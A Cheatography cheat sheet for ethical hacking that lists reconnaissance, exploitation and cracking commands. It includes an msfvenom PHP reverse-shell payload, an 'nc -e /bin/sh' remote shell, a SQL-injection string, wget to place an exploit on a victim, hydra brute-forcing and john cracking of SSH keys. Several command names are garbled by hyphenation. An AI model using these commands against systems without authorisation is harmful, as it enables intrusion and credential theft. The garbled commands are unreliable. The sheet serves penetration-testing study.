Cheatography

Ethical Hacking Cheat Sheet

by prolixgal via cheatography.com/146288/cs/31612/

Information Gathering | Enumeration

find the ip address and subnet	ip a
host discover	nmap -sn [ipv4]/24
services discovery	nmap -sT -sV -A -T5 -O -p1-65535 [ipv4]
dirb	dirb http://[ipv4] [wordlist]
nikto	nikto -url http://[ipv4]
look for users	enum4linux [ipv4]
view content 1	strings [filename]
view content 2	file [filename]

Exploitation | Post Exploitation

search exploits	searchsploit
syntax of scp	scp -p [port] "user@i-p:/[dir]/[file]" [dir]
information about the device	uname -a
get the current user	whoami
get the uid of the user	id
ssh using private key	ssh -i id_rsa user@loc-alhost
sql injection	' or 1=1# ' 1 or 1=1#
install exploit on victim	wget URL/filename
compile exploit	gcc filename.c -o exploit

Exploitation | Post Exploitation (cont)

create a revers-e_shell php file	msfvenom -p php/meterpre-ter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw> revers-eshell.php

Hydra

-l	user
-L	username file
-p	password
-P	password file
-s	port
-f	Terminate program if pair login:pass is found
syntax for ssh	hydra -l user -p password 192.168.1.1 ssh
syntax for ftp	hydra -l user -p password 192.168.1.1 ftp

NC

nc [target ip] [target port]	listening to a specific ip and port
nc -e /bin/sh [IP] [Port]	listening to a specific ip and port with bash

Ports

ftp	20-21
ssh	22
http	80
Internet Relay chat [can be backdoor]	6667

john

changing id_rsa to john format	python /usr/share/john/ss-h2john.py id_rsa > johnFormat
attempting to decrytp id_rsa john format	jhon johnformat
—wordlist="r-ockyou.txt"	adding the wordlist
—forma-t="NT"	choosing the format
—single	set the single crack mode
--incremental	set incremental mode
—show	use to cracked password file to be shown
—rules	word mangling rules
single crack mode	quick, guesses the password, use for common username and password
wordlist mode	text files needed with list of passwords [dictionary attack]
incremental mode	brute-force, time consuming

By **prolixgal**
cheatography.com/prolixgal/

Published 31st December, 2022.
Last updated 28th April, 2022.